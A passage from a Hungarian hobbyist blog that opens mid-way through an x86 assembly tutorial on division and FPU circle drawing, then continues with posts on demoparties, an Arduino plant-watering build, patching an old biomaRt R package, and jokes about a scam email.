Az ax regisztert megszorozza egy másik regiszterrel. Közvetlen értékadás nem lehetséges, mint az add esetén. Az eredményt mindig ax-ben fogja tárolni. A div, ami az osztást végzi, kicsit másképp működik, ugyanis az eredménnyel két regisztert fog megtölteni. Az ax-t és a dx-t.  Az ax-be kerül a hányados, a dx-be a maradék. Emiatt van egy ökölszabály, hogy a dx regisztert az osztás előtt nullázzuk. Ha nem így teszünk, a programunk fagyni fog.

mov dx, 0
mov ax, 10
mov bx, 2
div bx

Még egy fontos dolgot kell megemlíteni az osztással kapcsolatban. Nem lehet neki közvetlenül értéket adni, mint az összeadásnál. Ezért használom a bx regisztert közvetítőnek.

Egyszerűen hangzik, nem? Nos, van néhány probléma. Először is, az eredmények nagyobbak lehetnek, mint ami a regiszterben elfér. Másodszor, a negatív számokat máshogy tárolják. Ezért külön utasítások vannak az előjeles számokra szorzás és osztás esetén. Ezek az imul és az idiv. Ezekkel most nem foglalkozom, de tudjatok róla, hogy ilyenek is vannak. Most csak az egyszerű esetekkel foglalkozom, aztán ha már lesz rutin, visszatérünk rájuk.

A hibakezeléssel sem foglalkozunk, mert az intrók nem nagyon kezelik a hibákat, mert azzal értékes helyet pazarolnak. Honnan tudjuk, hogy a művelet hibás? A processzor segít nekünk, ahogy tud. Fogja magát és újabb regisztereket fog beállítani. A következő részben csak debug lesz, ott visszatérek erre.

A bonyolult módszer a matematikai segédprocesszor, az FPU használatán alapul (ami csak régen volt külön processzor, most már egybe van építve a CPU-val, de hát a kompatibilitás miatt így maradt meg a köztudatban). Itt újabb regisztereket kapunk, amit ST-vel és egy számmal jelzünk. Tehát az első regiszter az ST0. Újabb regiszter kezelő utasításokat kell megismerni. Ezek a regisztereket nem érhetjük el szabadon, hanem egy verem szerű képződményen keresztül. Azért hívom verem-szerűnek, mert nem tud megtelni. Ha nyolcnál több értéket pakolsz bele, a régieket egyszerűen elfelejti. Bármilyen hibaüzenet nélkül. Jó, mi?

Hogyan tudunk adatokat másolni ezekbe a regiszterekbe? Csakis memóriából. De azért ne örüljetek annyira! Ezek a regiszterek 80 bitesek. A lefoglalt memórai tehát vagy kisebb, vagy nagyobb lesz, mint a regiszter, soha nem akkora. Ez majd jusson eszetekbe, ha nem értitek, miért változott meg a szám, amit az FPU-ba töltöttetek.

Először jelezzük a kódban, hogy mostantól FPU-t is akarunk használni:

finit

Most pedig másoljunk értékeket a regiszterekbe. Hiszen értékek nélkül nem tudunk számolni. Mivel eddig egész számokkal dolgoztunk, most is egész számokat fogunk használni.

fild [memóriacím]

Ezzel a memóriacímről az értéket az ST0 regiszterbe másoljuk. A kapcsos zárójel nélkül a memóriacímet másolja át, nem az ott tárolt értéket. Ha még egyszer kiadjuk a parancsot, akkor az ST0 értéke ST1-be kerül, az új érték meg ST0-ba. Újabb parancsok tovább tolják a régi értékeket a verem mélye felé.

Ha ki szeretnénk nyerni az értékeket, akkor azt a következő módon tehetitek meg:

fist [memóriacím]

Az ST0 érték a memóriacímre kerül, ST1 pedig ST0-ba. Ha az értékek az FPU regisztereiben vannak, akkor kezdődhet a számolás.

Összeadás fadd, szorzás fmul. Az eredmény szinte minden esetben az ST0-ba kerül, hasonlóan ahhoz, ahogy az ax-be helyezik az eredményt az egyszerű módszernél. Az alapműveletek mellett használhatjuk a szögfüggvényeket is. Ennek örömére készítettem egy egyszerű programot, ami egy kört rajzol, és rengeteg FPU műveletet érint.

Sokféle módon lehet kört rajzolni, ez a módszer végigmegy 0-tól 360 fokig az összes szögön, és mindegyik szöghöz kiszámít egy X és Y koordinátát. Ha elég kis lépéssel haladunk végig a szögeken, akkor folytonos lesz a kör. Ez nem a legoptimálisabb módszer, mert egy pontra többször is rajzol, de sok számítás kell hozzá, könnyen érthető és látványos az eredmény. Demonstrációs célra tökéletes.

org 100h
section .text
start:
       mov ax, 13h
       int 10h
       mov ax, 0A000h
       mov es, ax
       mov cx, 628
cyc:
       mov word [r], cx
       finit
       fild word [r]
       fmul dword [step]
       fsincos
       fmul dword [radius]
       fadd dword [centery]
       frndint
       fimul dword [width]
       fistp dword [y]
       fmul dword [radius]
       fadd dword [centerx]
       frndint
       fiadd dword [y]
       fistp word [y]

       mov di, [y]
       mov ax, 2
       mov [es:di], al

       loop cyc
waitsec:
       in al, 60h
       dec al
       jnz waitsec

       mov ax, 03h
       int 10h
       ret

section .data
       radius:  dd 70.0
       centerx: dd 160.0
       centery: dd 100.0
       step:    dd 0.01
       width:   dd 320
section .bss
       y: resd 1
       r: resw 1

Kezdjük a végén, mert új elemek vannak a programban. Mint említettem, az FPU-nak memóriacímek kellenek. Ezeket definiáljuk a section .data és section .bss részeknél. Előbbi statikus adat, nem módosíthatjuk. Definiáljuk a kör sugarát (70), a kör középpontját (160 és 100), egy lépésközt, valamint a képernyő szélességét (320). Meg kell adni a felhasználni kívánt memória méretét is. A dd a double word, vagyis 32 bit méretű. Ez a legegyszerűbb adattípus, amivel számokat cserélhetünk az FPU regisztereivel.

Ha módosítani is szeretnénk az adott memóriaterületet, akkor a section .bss-ben definiálhatunk változókat. Ebben a programban két változót fogunk használni, az y-t és az r-t. A dd helyett itt resd-vel adjuk meg a 32 bites típust. A resw egy word méretű memóriarész, tehát csak 16 bites. A legvégén a szám azt jelenti, mennyi elemet akarunk az adott adattípusból. Tehát ha egy tömbre lenne szükségünk, akkor ennek a tömbnek az elemeinek a számát adhatjuk meg- Az adattípusokról most elég ennyit megjegyezni, de tudjunk róla, ennél sokkal több van. Ami a lényeg jelen pillanatban, hogy d-vel definiáljuk, ami konstans, res-el ami változhat.

Oké, a program nagy része ismerős lehet. Ami új, az a finit-el kezdődik, és az utolsó fistp-vel végződik. Koncentráljunk erre a részre. Ahogy említettem, a finit inicializálja az FPU-t, innentől használhatjuk a szuper utasításokat.

fild word [r]

Az r változó értéke ezzel az ST0-ba kerül. A [r] az r változó memóriacíme, ebből még nem lehet tudni, hogy mekkora az adott változó. Ezért kell explicite megmondani a word kulcsszóval, hogy mennyi bájtot is akarunk beolvasni.

fmul dword [step]

Az ST0-t és a step értékét összeszorozzuk. Mivel ST0 az r változó, ezért az ST0 mostantól a r * step szorzat eredményét tartalmazza. A step változó már dupla szó, ezért dword-el jelezzük, hogy a számot nagyobb memóriáról kell beolvasni.

fsincos

Egy lépésben kiszámoljuk az ST0 szinusz és koszinusz értékét. Az ST0-ba kerül a szinusz, ST1-be a koszinusz kerül. Beteg mi? Szerencsére a kör pontjainak kiszámításához pont erre a két szögfüggvényre van szükségünk.

fmul dword [radius]

A ST0, vagyis a szinusz eredményt megszorozzuk a kör sugarával, tehát megkapjuk a kör adott szögéhez tartozó pont Y koordinátáját, ha a kör középpontja a 0 pontban lenne. De nem ott van, ezért szükség lesz a következő utasításra is:

fadd dword [centery]

Vagyis hozzáadjuk a kör középpontjának Y koordinátáját, ami szintén dupla szó (dword). Van egy lebegőpontos Y koordinátánk az ST0 regiszterben. Ezt képernyő pixelnek kell megfeleltetni. Bizonyára emlékszünk, hogy ebben a felbontásban, amiben dolgozunk, a pixelek folyamatosan mennek balról jobbra, ha a képernyő szélére érnek, ugranak egy sort. Ezért az Y * WIDTH + X képlettel kiszámoljuk, melyik pixelről van szó. A számításoknak még nincs vége!

Először is a lebegőpontos számokat egésszé konvertáljuk, mert a képernyő pozíció egész szám.

frndint

Az utasítás az ST0 regiszter tartalmát egész számmá konvertálja. Több módon is egésszé konvertálhatunk egy tizedestörtet, ez az utasítás a legközelebbi egész számra kerekít. Mivel az egész számokat máshogy tárolja a gép, ezért nekünk kell tisztába lenni, hogy milyen típusú adatokon hajtjuk végre a műveleteket, és a típusnak megfelelő üzenetet kell használni.

fimul dword [width]

A fimul a szorzás, de egész számokkal. Az Y koordinátánk már egész szám, ezért így szorozzuk.

fistp dword [y]

Az ST0 regiszter értékét az y változóba helyezzük. Az X koordináta eddig az ST1-ben volt, az most az ST0-ba kerül. Megismételhetjük az egész procedurát, hogy megkapjuk a másik koordinátát.

fmul dword [radius]
fadd dword [centerx]
frndint
fiadd dword [y]

Az utolsó lépésnél az X koordinátát, ami az ST0 regiszterben van, hozzáadjuk az Y * WIDTH részhez, amit korábban elhelyeztünk az Y változóban. Igen, itt kicsit félrevezető a változó neve, mert nem a tiszta Y koordinátát tartalmazza. Sőt, továbbmegyünk! Kimentjük az értéket az utolsó fistp utasítással az Y változóba, ami immár a pixel sorszámát tartalmazza a memóriában. De 256 byte intróknál spórolni kell a változókkal, mert sok helyet foglalnak.

Aki idáig eljutott, és begépelte, lefordította a programot, csalódni fog. Teljes kör helyett csak egy félkört fog rajzolni! A program hibát tartalmaz. A következő részben sajnos uncsi memória méretekkel és még uncsibb debuggolással fogunk megismerkedni. Megtaláljuk a hibát, és kijavítjuk.

Szólj hozzá!

Címkék: programozás

Végtelen QBParty

2024.09.22. 18:27 Travis.CG

A wild végül nem készült el, de ez kivételesen nem rajtam múlt. Sikerült szerezni zenészt, aki ráadásul a MoonShine tagja, de nem volt annyi ideje, hogy a party kezdetére elkészüljön. Zene nélkül meg nem akartam beadni. Assembly-re nem készült el, QBParty-ra nem készült el, majd kész lesz egyszer.

Azért nem jöttem üres kézzel, a 256 byte intróm kész lett, és találtam egy fotót is, amit be tudtam adni. Nyerni egyikkel sem fogok. (Üzenet a jövőből: nem is nyertem.)

Kicsit féltem lejönni, mert rengeteg szervezési problémáról hallottam. Szerencsére a helyszínen egyik sem tűnt olyan súlyosnak, hogy a parti létét veszélyeztesse. Legalábbis aki le akart jönni, az lejött, láttam embereket, akik release-t heggesztettek még az utolsó pillanatban is, úgyhogy nagy gond nincs.

A fotók sokkal jobbak voltak, mint Assembly-n, ezt bízvást állíthatom. Matthew turbóra járatta magát, mert egyből két zenét is beadott, volt játéka, előadást is tartott és még egy DJ szettet is lenyomott róka jelmezben. Oh, azt el is felejtettem írni, hogy szervező is.

A zenék egészen jók voltak, bár az egyik úgy hangzott, mint a 90-es években a zenélő kulcstartók és a Wizard of Wor szerelem gyereke. Na, az nem tetszett. Az eredményeket nézve másnak sem.

A játékok nagyon jók voltak, Helguli egy Arduinós memóriajátékot hozott, ahol nem egyforma képeket, hanem egyforma zenéket kellett megtalálni. De az Escape from Metropolis is nagyon látványos volt, azzal még nekem is megjött a kedvem egy kis játékhoz.

A két compó blokk között lehetett grillhusit enni.

A 256 byte intrókat Antiemes spammelte. Három intrót adott be, de ugyan azzal a technológiával készültek. A 8k is kellemes volt, de érezhetően 4k-nak készültek.

Az oldschool prodok között feltűnt egy Primo és egy TVC alkotás. A TVC alkotás erősen hajazott a Lethargy Das Boot demójára. Apropó Lethargy: ők diafilm demót készítettek. A Primo demó sztori alapú volt, ami nekem pluszban bejött.

A nosztalgia hullám a demóknál is megjelent. A TGD a Lehel hűtők (sőt, egy bizonyos Lehel hűtő modell) által okozott lelki traumákat hívta életre. Remek megvalósítás, jó zene, borítékolható, hogy nyerni fog. De a többi indulónak sem volt oka panaszra. Alibi produkciót nem is láttam.

A kompók után Ziona DJ műsora kötötte le az ébren maradók figyelmét. Általában nem vagyok egy DJ párti, ilyenkor vagy kimenekülök a teremből, vagy átalszom. Ez a mostani viszont tetszett. Azon kaptam magam, hogy nem is a blogot írom, hanem a műsort hallgatom.

Kint Jotek állította fel távcsövét, amin keresztül nézhettük a csillagokat. Az eredményhirdetés után még egy tűzijáték is volt. Nem csalódott, aki eljött. A parti hozta a szokott hangulatot. Egyetlen fennakadásról tudok, a pénteki napon ugyanis elírták a PHP kódot, ami miatt csak 556 byte méretet lehetett feltölteni. Ezt leszámítva minden simán ment. Én személy szerint jól éreztem magam, remélem más is.

Szólj hozzá!

Címkék: demoscene

A Férfi és a Szerszám

2024.09.19. 16:01 Travis.CG

A Férfinak Szerszám kell. A Szerszám által a Férfi megváltoztatja az Anyag és az Energia tulajdonságait. Beleavatkozik a Világmindenség folyamataiba és saját igényeire szabja azt. Mikor végez, megnyugszik, eggyé válik a Végtelennel, mert a dolgok a jó irányba folynak. Létrejön a harmónia.

Aztán egy nap elromlik a hosszabbító. De a Férfit ez nem keresíti el, hiszen ott a Szerszám! A Szerszám, ami végigkísérte az Úton. Tőle független entitás, mégis a része, ahogy egy kettős csillag is egy egységet alkot miközben keringenek a láthatatlan közös tömegközéppont körül. Egyik sem létezhet a másik nélkül.

A hosszabbító pedig a létező legprimitívebb alkotás, amit kivethet magából az Ősrobbanás. Csupán néhány szigetelt vezeték egy lecsavarozott műanyag dobozban, ami a messzi Kínából érkezett. Híjján van kreativitásnak, bravúrnak. A végtelen egyszerűség jelképe.

És eljön a pillanat, amikor a Férfi és Szerszáma áll szemben ezzel az ócska tucatárúval. A Férfi számára nem kérdés az események kimenetele. Magabiztosan nyúl a Szerszám felé, hogy helyretegye az Univerzum hibás szeletét és helyreállítsa a tér-idő kontinuumot. Majd jön a döbbenet: A Szerszám nem kompatibilis a csavarral, ami összetartja ezt az ócskaságot.

csavar.jpg

A Férfi nem esik kétségbe, mert vannak más Szerszámok is. Szerszámok, amik apáról fiúra szállnak és átlengi őket az ősök szelleme. Szerszámok, melyek újak és csillogók, tettre készek. De nem számít, mert a csavart egyikkel sem lehet kicsavarni. Hiába ígérték reklámok, hogy "Ezzel a 189 részes csavarhúzó készlettel mindent meg tud oldani". Igaz a 189 részből 89 valami apró bizbasz, ami soha nem volt jó semmire. Mert valójában csak 100 részes szerszámkészletek léteznek, csupán a bizbaszok számát emelik, hogy a vásárlók ingerküszöbét át tudják törni.

Ezt most már a Férfi is tudja, aki épp a soha nem használt 399 részes csavarhúzó készletét bontja ki, de nem talál benne egyetlen olyan elemet sem, amit ne talált volna meg a korábbi csomagokban. És most már a dobozt sem tudja visszacsukni, mert olyan passzentosan vannak benne a bizbaszok, hogy a 10^49-es lehetséges bizbasz kombinációból csak egy esetén lehet lecsukni a tetőt. Az ipari csomagoló robotokon kívül pedig senki sem ismeri azt a kombinációt.

A hosszabbító továbbra is egyben van. A csavar, mint valami gúnyos mosoly mered a férfira, a lakás pedig tele szerszámokkal, amiket nem tud elpakolni. A Harmónia repedezik, a frusztráltság nő, amíg haza nem ér az Asszony.

- Mi ez a kupleráj? - kérdezi.

- Szerelek - mondja a férfi, bár a kijelentésnek ellent mond, hogy semmi nincs szétszerelve, és egyetlen szerszám sincs használva.

- Meddig szerelsz? - ez egy kódolt üzenet. A férfi villámgyorsan dekódolja: Öt perced van, hogy rendet rakj, vagy kiváglak a vackaiddal együtt.

A férfi és a szerszám egysége megbomlik. Elbuknak a hosszabbítóval szembe. A Káosz győz.

Szólj hozzá!

Címkék: irodalom

Ezen még dolgozni kell

2024.09.13. 17:18 Travis.CG

Azt hihetnénk, hogy a ChatGPT, Google Translate korában már nagy fordítási hibákat nem vétenek a csaló email-ekben, de ez nem így van. Vagy csak lusták, mint a föld, nem tudom. Eheti spamünkben Nyugat Afrikából próbálnak információt kiszedni belőlem. A legjobb mondatokat összegyűjtöttem:

"Ezúton szeretnénk tájékoztatni Önt egy nagyon fontos információról, amely az isten szerelmére nagy segítséget jelent majd.."

Az isten szerelmére, tanuljátok meg a fordítóprogramok használatát.

"Ebben a sorozatban eddig háromszázhat (306) csalót tartóztattak le, a mellszobor még mindig folyamatban van."

Elég lenne lefényképezni őket, a mellszobor tényleg túlzás. Vagy ők nemzeti hősök? Esetleg Jabba tesz rendet Nyugat Afrikában, és úgy bánik el a csalókkal, mint Han Solovanl?

Azért 306 mellszobor elég tekintélyes helyet foglal el. Bejárni sem kis teljesítmény.

"Biztos lehet benne, hogy ez nem átverés vagy trükk, és soha nem lesz az, amit gondol."

Ez speciel igaz. Már többször elgondoltam, hogy majd jó nap lesz, azután valami rácáfolt. Soha nincs az, amit gondolok.

Szólj hozzá!

Címkék: biztonság

Automata öntöző

2024.09.08. 12:48 Travis.CG

A nyári melegre való tekintettel elhatároztam, hogy készítek egy öntöző rendszert, ami akkor is vízzel látja el a növényeket, ha nincs otthon senki. Elkezdtem tervezgetni, mire is lenne szükség. A vezérlést egy Arduino fogja ellátni. Szükség lesz egy valós idejű órára is, mert a dokumentációkat böngészve azt találtam, hogy az Arduino saját időzítője nem lesz megfelelő, ha például egy hétre akarom magára hagyni a rendszert. Szerencsére volt itthon egy DS3231. Ez egy kis gombelem segítségével akkor is "emlékszik" az időre, ha az Arduino nincs áram alatt.

Először egy törött buborékfújó pumpáját akartam felhasználni. Szerencsére a gyerekek dögivel termelik a használhatatlan játékokat, úgyhogy villanymotorból, fogaskerékből el voltam látva. Az elsődleges tesztek szerint viszont a buborékfújó nem pumpál elég vizet, csak valami apró permetet, ami játékra megfelelő, de növények öntözésére nem.

Házilag nem tudok készíteni szivattyút, ezért kénytelen voltam beruházni kettő akvárium levegőztetőre. Eleinte csak egyet akartam venni, de később mégis kettőt szereztem be. Ezek voltak a projekt legköltségesebb részei.

Viszont a levegőztetők 220V-al mennek, az Arduino pedig csak 5V-al. Szükségessé vált egy relé is. A kacatok között találtam egy relé modult, de az két áramkört is képes volt vezérelni. Kicsit pazarlásnak éreztem, hogy egy pumpa kedvéért két relét építsek be, de mikor a feleségem azt mondta, hogy vannak növények, amelyek kevés vizet igényelnek, és olyanok is, amiknek sok víz kell, végül vettem még egy pumpát, és mind a kettő relét bekötöttem.

Ekkor viszont az áramellátás okozott némi gondot. Az oké, hogy a két pumpát rákötöm a hálózatra, de hogyan kap az Arduino áramot? Nem akartam, hogy elem is legyen. Azt szerettem volna, ha csak egy villásdugót bedugok, és az egész rendszer menjen. Fel kellett áldoznom egy telefontöltőt.

tap1.jpg

Először egy prototípust építettem, hogy lássam, hogyan fognak kapcsolódni a részegységek.

proto1.jpg

Különböző teszteket futtattam. Szerencsére a relé modulnak van egy kis LED-je, nem kellett váltóáramot is használnom a próbák során. Először csak egy olyan programot írtam, ami bekapcsolás után két percet vár, majd a szivattyút működteti két percig, és kikapcsol. Még a tervezési fázisban voltak olyan vad ötleteim, hogy egy LCD kijelzőt és gombokat is rakok az öntözőre, hogy ott lehessen mindent beállítani, de rájöttem, hogy a projektet nagyon elbonyolítja, én meg nem állok azon a szinten, hogy megvalósítsam. Ezért úgy gondoltam, az Arduino USB csatlakozóját szabadon hagyom, és mindig az adott feladatnak megfelelően fogom felprogramozni.

Mikor ezzel megvoltam, jöhetett a megvalósítás. A víztartály egy régi festékes doboz volt. Ebbe ment a két pumpa. A doboz oldalát kifúrtam és kivezettem a pumpák csöveit rajta. A vezérlést a doboz tetején akartam elhelyezni. A vizes közeg miatt azt egy édességes dobozba tettem, aminek külön zárható volt a fedele. Annak idején mentettem pár távtartót régi alaplapokról. Ezek most jól jöttek az egyes modulok rögzítéséhez.

tartaly.jpg

A kábelek elhelyezésén is sokat gondolkodtam. A hálózati áramot három részre kellett elosztani. Kellett a telefon töltőnek, és a két relének. Az 5V-ot is három részre kellett osztani. Kellett az Arduinonak, a valós idejű órának és a relének is.

Végül a telefontöltő lett a 220V elosztója, az 5V meg egy csomóba lett forrasztva. Minden kapott alibi érintésvédelmet ragasztópisztolyból. A korábbi projektekből okulva most ügyeltem a vezetékek színére is.

vezerles.jpg

A telefontöltőnél először a nyákra forrasztottam az 5V-os végeket, a fenti kép a végleges, működő verzió. A ragasztópisztolyt igen sűrűn használtam, még a tömlők vízszigetelését is azzal oldottam meg.

Elérkezett a csapatpróbák ideje. Kicsit távolabb mentem az öntözőtől, és úgy adtam rá az áramot. Szerencsére nem szikrázott és nem csapta le a biztosítékot. Cserébe nem is működött. Még az Arduino sem világított. Valahol nem ment az áram.

Végül sikerült kimérnem, hogy a telefontöltő nem 5V-t, hanem csak 1V-t ad le. Nem értettem miért nem megy. Az USB négy ponton volt a nyákra forrasztva, de ha onnan vezettem el az áramot, nem adták le a megfelelő feszültséget. Végül a vezetékeket az USB belsejébe forrasztottam, és utána már működött.

Legalábbis üresen. Amint vizet töltöttem a tartályba, kiderült, hogy a tömítések eresztenek. Ráadásul két perc alatt annyi vizet pumpál ki, hogy egy fazekat is megtöltene. Hirtelen nem tudtam, hogy a vezetéket húzzam ki, vagy a vízzel kezdjek valamit, ami a növény tálcájából jött ki. De nem csaptam agyon magam árammal és a lakást sem úsztattam el.

teszt.jpg

Közben az is kideült, hogy a programban is volt egy bug. Rosszul hasonlítottam össze az időintervalumokat, ezért két perc után újra elindultak a pumpák és nyomatták a vizet. Elmondhatom, hogy a hibakeresés sokkal izgalmasabb, ha a programunk eredménye nem csak a képernyőn látszik.

A szigetelés javítása több napot vett igénybe, mert bekentem szilikon pasztával, hagytam megszáradni (1 nap), teszteltem. Mikor folyt, ki kellett szárítani, és kezdődött minden elölről. Végül elkészült. Ekkor szembesültem egy tervezési hibával. A csöveket túl alacsonyan vezettem ki. Ha teletöltöm a tartályt, akkor közlekedőedényként kezd el viselkedni, és a csövön kérés nélkül is kifolyik a víz. Ez a teszteknél nem jött elő, mert akkor csak kevés vizet öntöttem bele. Telepítésnél tehát figyelni kell, hogy a növények magasabban legyenek, mint az öntöző.

vegleges.jpg

Szólj hozzá!

Címkék: barkácsolás

Random nyári történések

2024.08.31. 17:47 Travis.CG

A mai nyár legfontosabb tanúsága, hogy kamikaze-csúszdán mindig zárt lábakkal kell lecsúszni!

Ha már a csúszdáknál tartunk: Dekoratív, fiatal hölgy az úszómester, ő indítja a vendégeket a csúszdán. Vagány csávó, zéró IQ próbál ismerkedni:

- Hello, mond meg a neved!

A hölgy rá sem néz.

- Szerelmes vagyok beléd, mondd má' meg a neved!

- Nem mondom. Inkább csússzál.

- De mondd meg a neved!

Persze nem tudta meg.

Másik vicces sztori: Ingyen wifit vadásztam laptoppal egy művelődési ház mellett, de nem láttam a hálózatot, pedig mellettem egy nő egész konferenciabeszélgetést folytatott a segítségével. Végül kiokkumláltam, hogy bizonyára a laptop nem látja az 5GHz-es sávot. Ezért a telefonnal kapcsolódtam rá, majd USB-n megosztottam a számítógéppel. Arra jött egy ember, kérdezte, működik-e az ingyen wifi.

- Igen, de csak 5GHz-en - válaszoltam, de az ember csak megrázta a fejét.

- Annyi nekem nem elég - azzal tovább állt.

Szólj hozzá!

Címkék: életmód

Elavult R csomag javítás

2024.08.28. 10:32 Travis.CG

Az egyik kihívás a munkám során, hogy megtaláljuk az egyensúlyt a "nem piszkáljuk, mert működik" és a "kijött az update, felrakni!" között.

Az R-t például nem frissítjük minden hónapban, mert akkor minden felhasználó, minden csomagját frissíteni kellene (mert ugye minden felhasználó más csomagokat használ), és akkor soha nem dolgoznánk, csak frissítgetnénk. Ezért a szerveren egy 4.0.2-es R van, 3.12-es Bioconductorral.

Az egész szépen elzötyögött, egészen addig, míg a PureCN nevű csomagot nem telepítették a felhasználók. A PureCN ugyanis a biomaRt-ot is használja, ami viszont még abban az időben él, amikor még volt uswest tükör az EnsEMBL weboldalából.

Csakhogy nincs uswest, tehát nem megy a biomaRt, és ezért a PureCN is csak zagyvaságot ad vissza. Először megpróbáltuk fixálni R-ből a helyzetet, hogy ne használja az elvault tükör szervert, de persze nem működött. Egy uswest hívás már a könyvtár betöltésénél megtörténik.

A csomagból van frissítés, de akkor frissíteni kell a Bioconductor-t, de ahhoz meg az R-t is frissíteni kell. Ez sem járható út. Marad a programozás.

Leszedtem a GitHub-ról a biomaRt-ot:

git clone https://github.com/grimbough/biomaRt

Átváltottam az ősi branch-re, ami még kompatibilis a rendszerrel.

git checkout RELEASE_3_12

Kézzel kiszedtem az összes uswest hivatkozást a forrásból. Ahol fixen szerepelt, ott átírtam www-re. Most már csak meg kell etetni az R-el. Elindítottam az R-t. A módosított forrás a home könyvtáramban volt.

devtools::install("~/biomaRt")

Megkérdezte, frissítse-e a többi csomagot. Szépen megkértem, hogy eszébe se jusson. Fordított, teszteket futtatott. BUMM! Minden működött.

Szólj hozzá!

Címkék: programozás rendszergazda

Cseppet sem objektíven: Assembly 2024

2024.08.25. 15:44 Travis.CG

Sajnos a videó nem készült el, de QBParty-ra el fog. Az idei Assembly gyengébb volt a korábbi évekhez képest.

Fotó

Ennyi rossz képet még nem láttam demoparty-n.

Fast graphics

Ezek tényleg gyorsak voltak, de nem a szó jó értelmében.

Fast music

Finn dalszövege volt az összesnek. Biztos viccesek voltak. Bár elgondolkodtam rajta, hogy hol vehették fel a dalszövegeket, ha a party-n kellett összerakni a release-eket? (Egy-két esetben segített az AI, de az összes esetben nem.)

Wild

Igazán kreatív demók nem voltak, csak a platformok képességeinek a felszínét kapargatták a releasek. Úgy érzem, többet is kihozhattak volna mindegyik alkotásból.

Rövidfilmek

Ez már egy olyan kategória volt, ahol voltak release-ek is. A Triangle Realms csillapította fraktál éhségemet, az Unhelpful Blender Tutorial második része pedig vicces koncepció volt. A többi nem tetszett.

Tracked music

A party legnépesebb kategóriája volt, még az AI generált cuccokat is lehagyta. Aikapallo nyerte, amit meg is tudok érteni, mert remekül kihasználta a sávokat. A legtöbb trackelt zenén azért lehet hallani a formátumból eredő korlátokat, de itt nem tűntek fel a tipikus jegyek. Élvezeti szempontból nekem mégis a legjobban a Nyarlatho-Teppo's Dorsal Sauna tetszett. Nagyon sajnáltam, hogy a Time is against us hangszerelése túl egyszerű volt, mert stílusában az is bejött. Főleg azért, mert a címe nem csak egy utólag odabiggyesztett cimke, hanem hallatszott, hogy tudatosan komponálták.

1k intro

Mit tegyünk, ha 256b intrókat akarunk készíteni, de nincs kedvünk DOS-ozni? Hát persze, írjunk 1k intrót! Legalábbis ilyen érzésem volt, ahogy a produkciókat néztem. Gyakorlatilag ez egy olyan kategória, ahol meg kell küzdeni a méret limitációval, de közben nem kell vesződni a VGA palettával, és még JavaScriptben is programozhatunk. Az ügyesebbek még zenét is tudnak, ráadásul a Windows-ból klikkre megy. Látványra a CubeSink tetszett a legjobban, még akkor is, ha nem volt benne zene.

Freestyle grafika

Darkii és az ipari/militarista koncepciója 3D Studioval megvalósítva most is nagyot ütött.

A stílusa mindig lenyűgöz. A többi kép minősége már azért megütött egy szintet, ezért nem volt fájdalmas nézni őket.

Listening music

Korábban hallottam olyan kritikákat, hogy a demoscene zenék stílusa egy irányba konvergál. Ez annak idején a dubstep betörésénél még jogos is volt. Ebben az időszakban nem számított zenésznek az, aki nem rakja bele a wubwubwub-ot. Ebben a kategóriában nagyon válozatos stílusokat lehetett hallani, még egy Rammstein másolat is volt. Határozottan pozitív volt ez a sokszínűség.

Dance music

Ha nem is hallottam lélegzetelállíto zenéket, azért egy kellemesen átlagos compó volt. De egynél többször nem fogom meghallgatni őket.

AI wild

Ez egy új kategória, aminek szerintem az a lényege, hogy "ha már generálni akartok, inkább ide adjátok be, mint más kompóba". Viszont itt nem lehetett emberi erővel javítani az eredményen, ami szerintem egy jó megközelítés. Érdekes, hogy a generált grafikák jobban tetszettek a közönségnek, mint a zenék. Ennek ellenére a Paranoid Csirke nálam mindent vitt, mint agresszív grunge rock.

Fantázia konzolok

Az ember azt gondolná, hogy a fantázia konzolokkal odateszik magukat a pixel művészek, de nem. Ebben a kompóban a legtöbben ugyan úgy megragadtak a szinuszos scrollokban, mint a retro hardveresek. Ketten mertek csak továbblépni. A Bird Storm és a Mer Ork volt az egyetlen, ahol képesek voltak egy irányvonalat követni és kilépni a retro hardverek örökségéből. A Bird Storm-nak ráadásul a zenéje is jó volt, nem csak csipogásnak hallatszott. (Bár egy madárnál ez sem lenne meglepő.)

Oldskool demók

Ez volt az első kompó, ahol végre azt éreztem, hogy érdemes volt megnézni. Még a Zoo invit is jól indult, és nem csak egy scroller volt (bár a scroll tette ki a demó 80%-t). Igaz, a legtöbb depressziós alkotás volt. A nyertes demó, a Transcend the Game volt, nem véletlenül: Társadalomkritika, és jó zene együttese. A grafika nem eget rengető, de jól illik a demó koncepciójához. A videót nem lehet belinkelni, itt tudja mindenki megnézni.

Demó

Végezetül lássuk a demókat. Habár a többi kategóriában nagy pangás volt, a demók tekintetében azért kitettek magukért a csapatok. Ezt onnan lehet legjobban látni, hogy nem csak egy demó hozzászólásainál alakult ki nagy veszekedés, hanem kettőnél is. Talán nem ez a legjobb mérőszám, de arra mindenképp alkalmas, hogy megmutassa, mennyi embert mozgatott meg az adott produkció.

A másik érdekesség, hogy több demó próbált meg egyfajta üzenetet továbbítani, nem csak effektet villantani. Már utaltam erre az egyik C64 demó kapcsán is, de itt is előjött.

Ott van példának okáért a nyertes demó, ami az elég explicit címmel rendelkezik: The Message. Nem nehéz megérteni, mi ez az üzenet, amikor olyan képeket látunk, hogy viharos tengeren Demoscene feliratú mentőövek úsznak. A JavaScript engine szép modelleket, gyönyörű effekteket mutatott, miközben dübörgött egy korai demókra hajazó zene. Teljesen megérdemelten nyert.

Nekem viszont a story demók sokkal jobban bejönnek, még akkor is, ha hibák vannak benne. A Superselection pedig pont ilyen. Nagyon erős mozi-szerű hatásokra épít, de mivel ezeket roppant nehéz demókban visszaadni, sokszor beletörik a készítők bicskája. A kritikusok pont ezekre a hibákra mutatnak rá. Például arra, mikor egy női karakter gyakorlatilag mozdulatlanul áll, miközben a narrátor pánikol. De ez nem baj. A baj a túlzott elvárásokkal van. Sokan még a Notch miatt fanyalogtak, de saját motorral valószínűleg még kevésbé érték volna el a céljaikat a készítők.

A világ problémáira megoldást kereső demó a bugfix, a filozófikus irányvonalat képviseli. A melankólia csak a nyolcadik helyre volt elég. A zene, grafika, kód egy ember, Imerso munkája.

A HBC legfrissebb demóján meglepődtem. Maxon nem csak 3D grafikát, hanem zenét és kódot is készített, igaz ez utóbbit csak a Godot motor szkripteléséhez, de dícséretes a hozzáállás.

Végszó

Ez volt az idei Assembly. A demókat érdemes megnézni, de a többi kategória nagyon gyatra volt. Én nem is emlékszem, hogy Assembly zenei kompót nem szívesen hallgattam volna. Remélem ez nem annak a jele, hogy a mentőöv már kevés a demoscenének.

Szólj hozzá!

Címkék: demoscene

Flipper nyaral

2024.08.22. 11:36 Travis.CG

